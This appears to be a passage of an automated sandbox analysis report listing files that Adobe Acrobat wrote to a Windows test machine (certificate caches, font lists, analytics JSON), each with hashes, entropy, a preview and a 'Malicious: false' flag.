File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.216052570749797
Encrypted:	false
SSDEEP:	24:7+t7F36wK2qL0MzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9X:7M7pW2q/mFTIF3XmHjBoGGR+jMz+LhB
MD5:	E8A66B2061D44335141912C84F6650BB
SHA1:	42CC42BD30D360F7F3B47FA3E71315E1FB3FD5D2
SHA-256:	C94FA1C52FC2BC2175E78761A31219DE6169D26DC4FEFA5AE23F8E191561B4F3
SHA-512:	089110D136302D5A591BBFF7E68AF8433790BA43F82917DBFE2D1BCD1ADB162B7F781C0C28356D30DD688B0E4E34673BD2AB51E58BF5B1ED565665CA096F8A57
Malicious:	false
Preview:	.... .c........!........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7386214950254377
Encrypted:	false
SSDEEP:	3:kkFklTVj9VltfllXlE/HT8kqAhvNNX8RolJuRdxLlGB9lQRYwpDdt:kK0PeT803NMa8RdWBwRd
MD5:	96D190DECBDE73E3A3765D01FC7602D4
SHA1:	F46DEF16195C50064BBE3C8E0B808D73EF7772A6
SHA-256:	D335C86747EEB698A3B9CA9F4411DA81F007E58CB7C31276B6C09E604417EC6B
SHA-512:	DAD2D1CE071F94151290BF35E5B95A2152C5F8C1642E9551400BF6F6A71DF0F1B6D24E399146857FE714AC64F7364E887278BD809C194DE0E5C14C72BB0E9AF1
Malicious:	false
Preview:	p...... .........p...c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1292855227559153
Encrypted:	false
SSDEEP:	6:kK4OkPL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:AOkPiDnLNkPlE99SNxAhUe/3
MD5:	387E52B193FE2B7F0DAF95572921216C
SHA1:	9DE74BA76377D20A6AE58C34E8994FC07E305B5C
SHA-256:	D6AB5AF9E0E517609AE2FFDF94AD59BCF4D91330C0F2AEE7EFADD699CA080CB8
SHA-512:	F0150FA2AE2313473DEE999DEC1BD9C58BC5EEAC51877268DF22EBAB8CB1A27808779F70CC607D316583170250A3C8BD2D71FC9382A89A8194FD6A7197FC2CE5
Malicious:	false
Preview:	p...... ........[.b..c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1072

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1072

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.369573771108795
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC+X2SIGhGkmSg1c2LjcWkHvR0YqoAvJM3g98kUwPeUkwRe9:YvXKXCo3IGgT5LjIPNGMbLUkee9
MD5:	309C4967BA02D420D8711356870E063D
SHA1:	992C3073DE3C7121C71EBD77D34507158A970BF2
SHA-256:	201DC5001EF07A29C23909A23B5C2826E63D7B4B9B943894AC3F24C8A05ED639
SHA-512:	7B42DE32E1FB824D69F2F92C3C4F6E51A812C1985DE3C60D90BE0360ED6712F666C43F73B7F9A1FA4D23D177FBE2C9FD764A8417C988F4CCFD4A698586772E2F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1ee874d-223f-4c5b-bd5a-fe1963b17b90","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736734851615,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.319677909085632
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC+X2SIGhGkmSg1c2LjcWkHvR0YqoAvJfBoTfXpnrPeUkwRe9:YvXKXCo3IGgT5LjIPNGWTfXcUkee9
MD5:	7805DA916241EA6BAED748986432888B
SHA1:	35BC6B1DC427DE3A81DD2E0FC2F55151F7200488
SHA-256:	176E834BE118BCB5794AA2DEA524C3792D62DC756454A4DDC93477DABA0C0C13
SHA-512:	076A0E75506437246365AAEB5435771704FD0A58ABF7E33DF93A10CC8F85A8215EF8B32B67A94CE8BFF4625B0F364C71143FB445EC286EC1376B1E670D0C0430
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1ee874d-223f-4c5b-bd5a-fe1963b17b90","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736734851615,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.299204092159665
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC+X2SIGhGkmSg1c2LjcWkHvR0YqoAvJfBD2G6UpnrPeUkwRe9:YvXKXCo3IGgT5LjIPNGR22cUkee9
MD5:	450E8FC7BACA00D4F379387EE27300C2
SHA1:	87BE2ADE33A8545539AF11F8E59CFB8872AFB7CB
SHA-256:	468060E8473F8D5E22F38892DE8DB5F17B9A09D20A113E1DD100A384A31E3E18
SHA-512:	0F6A6AB24A912DA4D7552AC586568E2683E82853D87D84AF3612C8A5A0DAC446F4727B6B06B69218ECED54E4576833C39780DFB8DADC42B54560CFF8809473FF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1ee874d-223f-4c5b-bd5a-fe1963b17b90","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736734851615,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.350793711905839
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC+X2SIGhGkmSg1c2LjcWkHvR0YqoAvJfPmwrPeUkwRe9:YvXKXCo3IGgT5LjIPNGH56Ukee9
MD5:	EBC7EA240CD71777E4E1A0834111D5F0
SHA1:	B65F369C603A94C767173F753FACA5C9E18DC96E
SHA-256:	27399DA3A682E8172780CA4E6758AA457D3C50F0FA960CC972F4A348CD2FEBF6
SHA-512:	D4CFE6DF90214E860D50559AC6AEAD007921D4C560A28EA0E833196B0FC1FB9973A4398EEAE3BCAF05100AE361D894DDE9895ECBE4E80BB346BEF1EA33D71531
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1ee874d-223f-4c5b-bd5a-fe1963b17b90","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736734851615,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.692638807394437
Encrypted:	false
SSDEEP:	24:Yv6XCo3UT5XI6pLgE9cQx8LennAvzBvkn0RCmK8czOCCSd:YvH5Xjhgy6SAFv5Ah8cv/d
MD5:	B675838652E3AAF00956DBC67C4EF910
SHA1:	F4AC1BBF08D0624F9636A73E0A029AF3C86F0721
SHA-256:	56FEAE93F0E7010A29EF7C14B9CD0CFAB6D9D40F11CBDAE30F86C546A4810737
SHA-512:	E08E4C84C472F3B4E8F0703A8A71DFE0AD6C70D0FFCAAEAC928BB58717477A5F6D68DE1D0456598512132921FDAA10C96FA801951246F0DF0CBCA691ACA0A3EB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1ee874d-223f-4c5b-bd5a-fe1963b17b90","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736734851615,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.320913172116551
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC+X2SIGhGkmSg1c2LjcWkHvR0YqoAvJf8dPeUkwRe9:YvXKXCo3IGgT5LjIPNGU8Ukee9
MD5:	96FB95D1128E819D203D5363E04C20AE
SHA1:	8C6ADFF00839596B37D9BCCC7441218DADBD040B
SHA-256:	6E0FBCABBED6822B0A5ACE33B4ACFE0CFD2919318DF7E14CF04C1B21C6DAEDAF
SHA-512:	CB109F93421DC4EDEA5D7C73531874C59E16E294EA93C24238033C684D1944289E112C9187CABFCDE8BC3A72E7502108B8F6043F8A1D53276778CB4DCA26FA6E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1ee874d-223f-4c5b-bd5a-fe1963b17b90","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736734851615,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.311393380878615
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC+X2SIGhGkmSg1c2LjcWkHvR0YqoAvJfQ1rPeUkwRe9:YvXKXCo3IGgT5LjIPNGY16Ukee9
MD5:	F739054F86193EAA123ACF17C4AD238F
SHA1:	3FEDF0162658E46911F19F8B71E2718A32E16292
SHA-256:	462407153D1602A6A75CD368B662ED55E071B1252A9E17A3603DD8D953ECA220
SHA-512:	9B6C5983952E0924519CEFEC53B2DC9D426E1AAC4AFC2B63F99E5F855F9FE9A24068E41399440CEAB63F02C44AE20E0589FEC02CDF5F1953D5C473D17CC8918D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1ee874d-223f-4c5b-bd5a-fe1963b17b90","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736734851615,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.328645576421253
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC+X2SIGhGkmSg1c2LjcWkHvR0YqoAvJfFldPeUkwRe9:YvXKXCo3IGgT5LjIPNGz8Ukee9
MD5:	3E660CAA40ACFA1F50228FF4A3723F85
SHA1:	FEF2C381194F6783A618B530C11C048E342A238D
SHA-256:	E694C771E3F3FF9855C0456937DEAEF9B176E81AA7A9A3DF5AB71E67FDDC02E4
SHA-512:	A2B01D430BC25AFE71B42748A3FD29BB6DEF224B43773F8581A46A5C6A789B803F535462744E5C7D4211D278C36F74C1B407F5E302FC368F01D7DAE555CB99AA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1ee874d-223f-4c5b-bd5a-fe1963b17b90","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736734851615,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

